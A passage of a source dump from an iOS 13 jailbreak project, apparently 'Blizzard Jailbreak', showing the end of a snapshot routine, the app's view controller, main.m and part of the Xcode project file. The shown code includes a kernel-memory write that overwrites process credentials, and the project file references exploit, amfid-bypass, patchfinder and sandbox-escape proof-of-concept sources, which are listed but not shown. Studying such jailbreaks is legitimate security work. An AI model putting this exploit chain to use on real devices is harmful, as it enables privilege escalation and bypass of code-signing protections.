if (createNewAPFSSnapshot("/", "Calm-Before-The-Storm") == 0){ list_snapshots("/"); printf("Blizzard BOOTSTRAP: Successfully created the stock snapshot!\n"); retval = 0; } else { printf("Blizzard BOOTSTRAP: FAILED to create the stock snapshot!\n"); retval = -1; } uint64_t proc_smp = proc_of_pid(getpid()); wk64(proc_smp + off_p_ucred, creds); return retval; } else { printf("Blizzard BOOTSTRAP: Safety Snapshot already exists! Will not make another one :-)\n"); return 0; } } ================================================ FILE: Blizzard Jailbreak/blizzardView.h ================================================ // // blizzardView.h // Blizzard Jailbreak // // Created by GeoSn0w on 8/10/20. // Copyright © 2020 GeoSn0w. All rights reserved. // #import NS_ASSUME_NONNULL_BEGIN UIBarButtonItem* dismissKeyboardButton; @interface blizzardView : UIViewController @property (weak, nonatomic) IBOutlet UIButton *blizzardInit; @property (weak, nonatomic) IBOutlet UITextField *nonceField; @end NS_ASSUME_NONNULL_END ================================================ FILE: Blizzard Jailbreak/blizzardView.m ================================================ // // blizzardView.m // Blizzard Jailbreak // // Created by GeoSn0w on 8/10/20. // Copyright © 2020 GeoSn0w. All rights reserved. // #import "blizzardView.h" #include "blizzardJailbreak.h" #define iosVersionSupport(v) ([[[UIDevice currentDevice] systemVersion] compare:@v options:NSNumericSearch] != NSOrderedDescending) @interface blizzardView () @end @implementation blizzardView - (void)viewDidLoad { [super viewDidLoad]; self.nonceField.delegate = self; printf("Blizzard Jailbreak\nby GeoSn0w (@FCE365)\n\nAn Open-Source Jailbreak for you to study and dissect :-)\n"); } - (IBAction)blizzardInit:(id)sender { if (iosVersionSupport("13.7")){ _blizzardInit.enabled = NO; [_blizzardInit setTitle:@"JAILBREAKING..." forState:UIControlStateDisabled]; dispatch_async(dispatch_get_global_queue(0, 0), ^{ dispatch_async(dispatch_get_main_queue(), ^{ [self performSegueWithIdentifier:@"vc" sender:self]; }); }); } else if (iosVersionSupport("14.0")){ printf("The iOS version is not supported"); exit(0); } } - (IBAction)injectSettingsUI:(id)sender { [self performSegueWithIdentifier:@"settingsView" sender:self]; } - (IBAction)saveJailbreakSettings:(id)sender { [self dismissViewControllerAnimated:YES completion:nil]; } - (BOOL)textFieldShouldReturn:(UITextField *)textField { [textField resignFirstResponder]; return YES; } @end ================================================ FILE: Blizzard Jailbreak/main.m ================================================ // // main.m // sock_port // // Created by Jake James on 7/17/19. // Copyright © 2019 Jake James. All rights reserved. // #import #import "AppDelegate.h" int main(int argc, char * argv[]) { @autoreleasepool { return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); } } ================================================ FILE: Blizzard Jailbreak.xcodeproj/project.pbxproj ================================================ // !$*UTF8*$! { archiveVersion = 1; classes = { }; objectVersion = 48; objects = { /* Begin PBXBuildFile section */ 8288501222E07303005D10FC /* kernel_memory.c in Sources */ = {isa = PBXBuildFile; fileRef = 8288501022E07303005D10FC /* kernel_memory.c */; }; 8288501522E07C15005D10FC /* offsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 8288501322E07C14005D10FC /* offsets.m */; }; 82E9B71522E24BAD0016AA39 /* iosurface.c in Sources */ = {isa = PBXBuildFile; fileRef = 82E9B71422E24BAD0016AA39 /* iosurface.c */; }; 82F179F122DF4ED700231F8C /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 82F179F022DF4ED700231F8C /* AppDelegate.m */; }; 82F179F722DF4ED700231F8C /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 82F179F522DF4ED700231F8C /* Main.storyboard */; }; 82F179F922DF4ED700231F8C /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 82F179F822DF4ED700231F8C /* Assets.xcassets */; }; 82F179FC22DF4ED700231F8C /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 82F179FA22DF4ED700231F8C /* LaunchScreen.storyboard */; }; 82F179FF22DF4ED700231F8C /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 82F179FE22DF4ED700231F8C /* main.m */; }; 82F17A0922DF4ED800231F8C /* socket_freeTests.m in Sources */ = {isa = PBXBuildFile; fileRef = 82F17A0822DF4ED800231F8C /* socket_freeTests.m */; }; 82F17A1422DF4ED800231F8C /* socket_freeUITests.m in Sources */ = {isa = PBXBuildFile; fileRef = 82F17A1322DF4ED800231F8C /* socket_freeUITests.m */; }; 82F17A2322DF4EF100231F8C /* exploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 82F17A2122DF4EF100231F8C /* exploit.c */; }; 82F17A2622DF4F1C00231F8C /* exploit_utilities.c in Sources */ = {isa = PBXBuildFile; fileRef = 82F17A2422DF4F1C00231F8C /* exploit_utilities.c */; }; D613B71B24E217D90069CA9B /* BlizzardLog.m in Sources */ = {isa = PBXBuildFile; fileRef = D613B71A24E217D90069CA9B /* BlizzardLog.m */; }; D613B72724E2A76A0069CA9B /* rootfs_remount.m in Sources */ = {isa = PBXBuildFile; fileRef = D613B72424E2A76A0069CA9B /* rootfs_remount.m */; }; D613B72824E2A76A0069CA9B /* offsetfinder.cpp in Sources */ = {isa = PBXBuildFile; fileRef = D613B72624E2A76A0069CA9B /* offsetfinder.cpp */; }; D613B73524E2A8AB0069CA9B /* snapshot_tools.c in Sources */ = {isa = PBXBuildFile; fileRef = D613B73424E2A8AB0069CA9B /* snapshot_tools.c */; }; D613B74524E2B1C20069CA9B /* liboffsetfinder64.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D613B73B24E2B1530069CA9B /* liboffsetfinder64.a */; }; D613B74624E2B1E70069CA9B /* libimg4tool.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D613B73F24E2B1540069CA9B /* libimg4tool.a */; }; D613B74724E2B1E70069CA9B /* libmerged.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D613B73E24E2B1530069CA9B /* libmerged.a */; }; D613B74824E2B1E70069CA9B /* libplist.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D613B73C24E2B1530069CA9B /* libplist.a */; }; D613B74924E2B1E70069CA9B /* libplist++.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D613B73D24E2B1530069CA9B /* libplist++.a */; }; D613B74B24E2B2560069CA9B /* libcompression.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = D613B74A24E2B2560069CA9B /* libcompression.tbd */; }; D613B74D24E2B2600069CA9B /* libMobileGestalt.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = D613B74C24E2B25F0069CA9B /* libMobileGestalt.tbd */; }; D613B75024E2CD5E0069CA9B /* BlizzardSpawnerTools.c in Sources */ = {isa = PBXBuildFile; fileRef = D613B74E24E2CD5E0069CA9B /* BlizzardSpawnerTools.c */; }; D613B75724E2E8300069CA9B /* amfi_utils.m in Sources */ = {isa = PBXBuildFile; fileRef = D613B75324E2E8300069CA9B /* amfi_utils.m */; }; D613B75824E2E8300069CA9B /* amfid_tools.m in Sources */ = {isa = PBXBuildFile; fileRef = D613B75424E2E8300069CA9B /* amfid_tools.m */; }; D613B75924E2E8300069CA9B /* amfid_mem.m in Sources */ = {isa = PBXBuildFile; fileRef = D613B75624E2E8300069CA9B /* amfid_mem.m */; }; D613B75C24E2E8590069CA9B /* amfid.m in Sources */ = {isa = PBXBuildFile; fileRef = D613B75B24E2E8580069CA9B /* amfid.m */; }; D613B76024E2EEFD0069CA9B /* osobject.c in Sources */ = {isa = PBXBuildFile; fileRef = D613B75E24E2EEFD0069CA9B /* osobject.c */; }; D613B76624E2F2D30069CA9B /* kernSymbolication.c in Sources */ = {isa = PBXBuildFile; fileRef = D613B76424E2F2D30069CA9B /* kernSymbolication.c */; }; D613B78224E2F9980069CA9B /* lzssdec.cpp in Sources */ = {isa = PBXBuildFile; fileRef = D613B78024E2F9980069CA9B /* lzssdec.cpp */; }; D62BC51E24E4113200EC63D4 /* tar in Resources */ = {isa = PBXBuildFile; fileRef = D62BC51D24E4113200EC63D4 /* tar */; }; D62BC52024E41AF500EC63D4 /* basebins.tar in Resources */ = {isa = PBXBuildFile; fileRef = D62BC51F24E41AF500EC63D4 /* basebins.tar */; }; D62BC52224E41F2500EC63D4 /* dropbear.tar in Resources */ = {isa = PBXBuildFile; fileRef = D62BC52124E41F2500EC63D4 /* dropbear.tar */; }; D62CA1E524E1C7EA002E6756 /* patchfinder64.m in Sources */ = {isa = PBXBuildFile; fileRef = D62CA1E424E1C7EA002E6756 /* patchfinder64.m */; }; D62CA1E824E1C7F7002E6756 /* kexecute.c in Sources */ = {isa = PBXBuildFile; fileRef = D62CA1E624E1C7F7002E6756 /* kexecute.c */; }; D62CA1EB24E1C7FF002E6756 /* kernel_utils.m in Sources */ = {isa = PBXBuildFile; fileRef = D62CA1EA24E1C7FF002E6756 /* kernel_utils.m */; }; D62CA1EE24E1C83F002E6756 /* offsetof.c in Sources */ = {isa = PBXBuildFile; fileRef = D62CA1EC24E1C83E002E6756 /* offsetof.c */; }; D63EDAC124E1989F009B305D /* blizzardJailbreak.m in Sources */ = {isa = PBXBuildFile; fileRef = D63EDABF24E1989F009B305D /* blizzardJailbreak.m */; }; D69C4C9925686628001DE2BC /* IOKit.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = D69C4C9825686627001DE2BC /* IOKit.tbd */; }; D69C4CAE25686895001DE2BC /* ios13_userspace_pac.c in Sources */ = {isa = PBXBuildFile; fileRef = D69C4CA425686894001DE2BC /* ios13_userspace_pac.c */; }; D69C4CAF25686895001DE2BC /* ios13_kernel_universal.c in Sources */ = {isa = PBXBuildFile; fileRef = D69C4CA525686894001DE2BC /* ios13_kernel_universal.c */; }; D69C4CB025686895001DE2BC /* ios13_userspace.c in Sources */ = {isa = PBXBuildFile; fileRef = D69C4CA625686894001DE2BC /* ios13_userspace.c */; }; D69C4CB125686895001DE2BC /* ios13_change_offsets.m in Sources */ = {isa = PBXBuildFile; fileRef = D69C4CA725686894001DE2BC /* ios13_change_offsets.m */; }; D69C4CB225686895001DE2BC /* libsnappy.c in Sources */ = {isa = PBXBuildFile; fileRef = D69C4CAA25686895001DE2BC /* libsnappy.c */; }; D69C4CB325686895001DE2BC /* ios_7st_utils.m in Sources */ = {isa = PBXBuildFile; fileRef = D69C4CAB25686895001DE2BC /* ios_7st_utils.m */; }; D6FFA56224E1A59A00CAC2E2 /* blizzardView.m in Sources */ = {isa = PBXBuildFile; fileRef = D6FFA56124E1A59A00CAC2E2 /* blizzardView.m */; }; /* End PBXBuildFile section */ /* Begin PBXContainerItemProxy section */ 82F17A0522DF4ED800231F8C /* PBXContainerItemProxy */ = { isa = PBXContainerItemProxy; containerPortal = 82F179E422DF4ED700231F8C /* Project object */; proxyType = 1; remoteGlobalIDString = 82F179EB22DF4ED700231F8C; remoteInfo = socket_free; }; 82F17A1022DF4ED800231F8C /* PBXContainerItemProxy */ = { isa = PBXContainerItemProxy; containerPortal = 82F179E422DF4ED700231F8C /* Project object */; proxyType = 1; remoteGlobalIDString = 82F179EB22DF4ED700231F8C; remoteInfo = socket_free; }; /* End PBXContainerItemProxy section */ /* Begin PBXFileReference section */ 8288501022E07303005D10FC /* kernel_memory.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = kernel_memory.c; sourceTree = ""; }; 8288501122E07303005D10FC /* kernel_memory.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = kernel_memory.h; sourceTree = ""; }; 8288501322E07C14005D10FC /* offsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = offsets.m; sourceTree = ""; }; 8288501422E07C14005D10FC /* offsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = offsets.h; sourceTree = ""; }; 82E9B71322E24BAC0016AA39 /* iosurface.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = iosurface.h; sourceTree = ""; }; 82E9B71422E24BAD0016AA39 /* iosurface.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = iosurface.c; sourceTree = ""; }; 82F179EC22DF4ED700231F8C /* Blizzard Jailbreak.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = "Blizzard Jailbreak.app"; sourceTree = BUILT_PRODUCTS_DIR; }; 82F179EF22DF4ED700231F8C /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = ""; }; 82F179F022DF4ED700231F8C /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = ""; }; 82F179F622DF4ED700231F8C /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = ""; }; 82F179F822DF4ED700231F8C /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; 82F179FB22DF4ED700231F8C /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = ""; }; 82F179FD22DF4ED700231F8C /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 82F179FE22DF4ED700231F8C /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; }; 82F17A0422DF4ED800231F8C /* Blizzard JailbreakTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = "Blizzard JailbreakTests.xctest"; sourceTree = BUILT_PRODUCTS_DIR; }; 82F17A0822DF4ED800231F8C /* socket_freeTests.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = socket_freeTests.m; sourceTree = ""; }; 82F17A0A22DF4ED800231F8C /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 82F17A0F22DF4ED800231F8C /* Blizzard JailbreakUITests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = "Blizzard JailbreakUITests.xctest"; sourceTree = BUILT_PRODUCTS_DIR; }; 82F17A1322DF4ED800231F8C /* socket_freeUITests.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = socket_freeUITests.m; sourceTree = ""; }; 82F17A1522DF4ED800231F8C /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 82F17A2122DF4EF100231F8C /* exploit.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = exploit.c; sourceTree = ""; }; 82F17A2222DF4EF100231F8C /* exploit.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = exploit.h; sourceTree = ""; }; 82F17A2422DF4F1C00231F8C /* exploit_utilities.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = exploit_utilities.c; sourceTree = ""; }; 82F17A2522DF4F1C00231F8C /* exploit_utilities.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = exploit_utilities.h; sourceTree = ""; }; 82F17A2822DF57B700231F8C /* IOKit.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = IOKit.tbd; path = socket_free/IOKit.tbd; sourceTree = ""; }; D613B71924E217D90069CA9B /* BlizzardLog.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = BlizzardLog.h; sourceTree = ""; }; D613B71A24E217D90069CA9B /* BlizzardLog.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = BlizzardLog.m; sourceTree = ""; }; D613B72424E2A76A0069CA9B /* rootfs_remount.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = rootfs_remount.m; sourceTree = ""; }; D613B72524E2A76A0069CA9B /* rootfs_remount.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = rootfs_remount.h; sourceTree = ""; }; D613B72624E2A76A0069CA9B /* offsetfinder.cpp */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.cpp; path = offsetfinder.cpp; sourceTree = ""; }; D613B72924E2A79F0069CA9B /* liboffsetfinder64.hpp */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.h; path = liboffsetfinder64.hpp; sourceTree = ""; }; D613B72A24E2A7B70069CA9B /* liboffsetfinder64.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = liboffsetfinder64.a; path = "../electra1131-master/electra1131/libs/liboffsetfinder64.a"; sourceTree = ""; }; D613B72B24E2A7B70069CA9B /* libplist.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libplist.a; path = "../electra1131-master/electra1131/libs/libplist.a"; sourceTree = ""; }; D613B72C24E2A7B70069CA9B /* libplist++.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = "libplist++.a"; path = "../electra1131-master/electra1131/libs/libplist++.a"; sourceTree = ""; }; D613B72D24E2A7B70069CA9B /* libmerged.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libmerged.a; path = "../electra1131-master/electra1131/libs/libmerged.a"; sourceTree = ""; }; D613B72E24E2A7B70069CA9B /* libimg4tool.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libimg4tool.a; path = "../electra1131-master/electra1131/libs/libimg4tool.a"; sourceTree = ""; }; D613B73424E2A8AB0069CA9B /* snapshot_tools.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = snapshot_tools.c; sourceTree = ""; }; D613B73624E2A8B00069CA9B /* snapshot_tools.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = snapshot_tools.h; sourceTree = ""; }; D613B73724E2A8C40069CA9B /* IOKit.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = IOKit.h; sourceTree = ""; }; D613B73824E2A99B0069CA9B /* system_reboot.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = system_reboot.h; sourceTree = ""; }; D613B73B24E2B1530069CA9B /* liboffsetfinder64.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = liboffsetfinder64.a; sourceTree = ""; }; D613B73C24E2B1530069CA9B /* libplist.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = libplist.a; sourceTree = ""; }; D613B73D24E2B1530069CA9B /* libplist++.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = "libplist++.a"; sourceTree = ""; }; D613B73E24E2B1530069CA9B /* libmerged.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = libmerged.a; sourceTree = ""; }; D613B73F24E2B1540069CA9B /* libimg4tool.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = libimg4tool.a; sourceTree = ""; }; D613B74A24E2B2560069CA9B /* libcompression.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libcompression.tbd; path = usr/lib/libcompression.tbd; sourceTree = SDKROOT; }; D613B74C24E2B25F0069CA9B /* libMobileGestalt.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libMobileGestalt.tbd; path = usr/lib/libMobileGestalt.tbd; sourceTree = SDKROOT; }; D613B74E24E2CD5E0069CA9B /* BlizzardSpawnerTools.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = BlizzardSpawnerTools.c; sourceTree = ""; }; D613B74F24E2CD5E0069CA9B /* BlizzardSpawnerTools.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = BlizzardSpawnerTools.h; sourceTree = ""; }; D613B75124E2E82F0069CA9B /* amfid_tools.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = amfid_tools.h; sourceTree = ""; }; D613B75224E2E8300069CA9B /* amfi_utils.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = amfi_utils.h; sourceTree = ""; }; D613B75324E2E8300069CA9B /* amfi_utils.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = amfi_utils.m; sourceTree = ""; }; D613B75424E2E8300069CA9B /* amfid_tools.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = amfid_tools.m; sourceTree = ""; }; D613B75524E2E8300069CA9B /* amfid_mem.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = amfid_mem.h; sourceTree = ""; }; D613B75624E2E8300069CA9B /* amfid_mem.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = amfid_mem.m; sourceTree = ""; }; D613B75A24E2E8580069CA9B /* amfid.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = amfid.h; sourceTree = ""; }; D613B75B24E2E8580069CA9B /* amfid.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = amfid.m; sourceTree = ""; }; D613B75D24E2E8690069CA9B /* cs_blob.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = cs_blob.h; sourceTree = ""; }; D613B75E24E2EEFD0069CA9B /* osobject.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = osobject.c; sourceTree = ""; }; D613B75F24E2EEFD0069CA9B /* osobject.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = osobject.h; sourceTree = ""; }; D613B76424E2F2D30069CA9B /* kernSymbolication.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = kernSymbolication.c; sourceTree = ""; }; D613B76524E2F2D30069CA9B /* kernSymbolication.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = kernSymbolication.h; sourceTree = ""; }; D613B78024E2F9980069CA9B /* lzssdec.cpp */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.cpp; path = lzssdec.cpp; sourceTree = ""; }; D613B78124E2F9980069CA9B /* lzssdec.hpp */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.h; path = lzssdec.hpp; sourceTree = ""; }; D62BC51D24E4113200EC63D4 /* tar */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.executable"; path = tar; sourceTree = ""; }; D62BC51F24E41AF500EC63D4 /* basebins.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = basebins.tar; sourceTree = ""; }; D62BC52124E41F2500EC63D4 /* dropbear.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = dropbear.tar; sourceTree = ""; }; D62CA1E324E1C7EA002E6756 /* patchfinder64.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = patchfinder64.h; sourceTree = ""; }; D62CA1E424E1C7EA002E6756 /* patchfinder64.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = patchfinder64.m; sourceTree = ""; }; D62CA1E624E1C7F7002E6756 /* kexecute.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kexecute.c; sourceTree = ""; }; D62CA1E724E1C7F7002E6756 /* kexecute.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kexecute.h; sourceTree = ""; }; D62CA1E924E1C7FF002E6756 /* kernel_utils.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_utils.h; sourceTree = ""; }; D62CA1EA24E1C7FF002E6756 /* kernel_utils.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = kernel_utils.m; sourceTree = ""; }; D62CA1EC24E1C83E002E6756 /* offsetof.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = offsetof.c; sourceTree = ""; }; D62CA1ED24E1C83E002E6756 /* offsetof.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = offsetof.h; sourceTree = ""; }; D62CA20A24E1D95F002E6756 /* kerneldec */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.executable"; name = kerneldec; path = "../jelbrekLib-master/kerneldec/kerneldec"; sourceTree = ""; }; D63EDABF24E1989F009B305D /* blizzardJailbreak.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = blizzardJailbreak.m; sourceTree = ""; }; D63EDAC024E1989F009B305D /* blizzardJailbreak.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = blizzardJailbreak.h; sourceTree = ""; }; D69C4C96256865BF001DE2BC /* IOKit.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = IOKit.tbd; path = ../ToolChain/IOKit.tbd; sourceTree = ""; }; D69C4C9825686627001DE2BC /* IOKit.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = IOKit.tbd; path = "../ToolChain/Jailbreak Frameworks/IOKit.tbd"; sourceTree = ""; }; D69C4C9D256866A2001DE2BC /* OSMessageNotification.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = OSMessageNotification.h; path = include/IOKit/OSMessageNotification.h; sourceTree = ""; }; D69C4CA225686884001DE2BC /* xpc.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = xpc.h; sourceTree = ""; }; D69C4CA325686884001DE2BC /* vnode.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vnode.h; sourceTree = ""; }; D69C4CA425686894001DE2BC /* ios13_userspace_pac.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = ios13_userspace_pac.c; sourceTree = ""; }; D69C4CA525686894001DE2BC /* ios13_kernel_universal.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = ios13_kernel_universal.c; sourceTree = ""; }; D69C4CA625686894001DE2BC /* ios13_userspace.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = ios13_userspace.c; sourceTree = ""; }; D69C4CA725686894001DE2BC /* ios13_change_offsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = ios13_change_offsets.m; sourceTree = ""; }; D69C4CA825686894001DE2BC /* xpc.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = xpc.h; path = "../../../FreeTheSandbox_LPE_POC_13.7-main/ios13_app1/xpc.h"; sourceTree = ""; }; D69C4CA925686894001DE2BC /* IOTypes.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOTypes.h; sourceTree = ""; }; D69C4CAA25686895001DE2BC /* libsnappy.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = libsnappy.c; sourceTree = ""; }; D69C4CAB25686895001DE2BC /* ios_7st_utils.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = ios_7st_utils.m; sourceTree = ""; }; D69C4CAC25686895001DE2BC /* libsnappy.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = libsnappy.h; sourceTree = ""; }; D69C4CAD25686895001DE2BC /* vnode.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = vnode.h; path = "../../../FreeTheSandbox_LPE_POC_13.7-main/ios13_app1/vnode.h"; sourceTree = ""; }; D69C4CB5256868BB001DE2BC /* IOReturn.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOReturn.h; sourceTree = ""; }; D69C4CB6256868BB001DE2BC /* IOKitKeys.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOKitKeys.h; sourceTree = ""; }; D69C4CB7256868BB001DE2BC /* IOKitLib.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOKitLib.h; sourceTree = ""; }; D69C4CB8256868BB001DE2BC /* IOTypes.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOTypes.h; sourceTree = ""; }; D69C4CBB25686D0F001DE2BC /* freethesandbox.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = freethesandbox.h; sourceTree = ""; }; D6FFA56024E1A59A00CAC2E2 /* blizzardView.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = blizzardView.h; sourceTree = ""; }; D6FFA56124E1A59A00CAC2E2 /* blizzardView.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = blizzardView.m; sourceTree = ""; }; /* End PBXFileReference section */ /* Begin PBXFrameworksBuildPhase section */ 82F179E922DF4ED700231F8C /* Frameworks */ = { isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( D69C4C9925686628001DE2BC /* IOKit.tbd in Frameworks */, D613B74D24E2B2600069CA9B /* libMobileGestalt.tbd in Frameworks */, D613B74B24E2B2560069CA9B /* libcompression.tbd in Frameworks */, D613B74624E2B1E70069CA9B /* libimg4tool.a in Frameworks */, D613B74724E2B1E70069CA9B /* libmerged.a in Frameworks */, 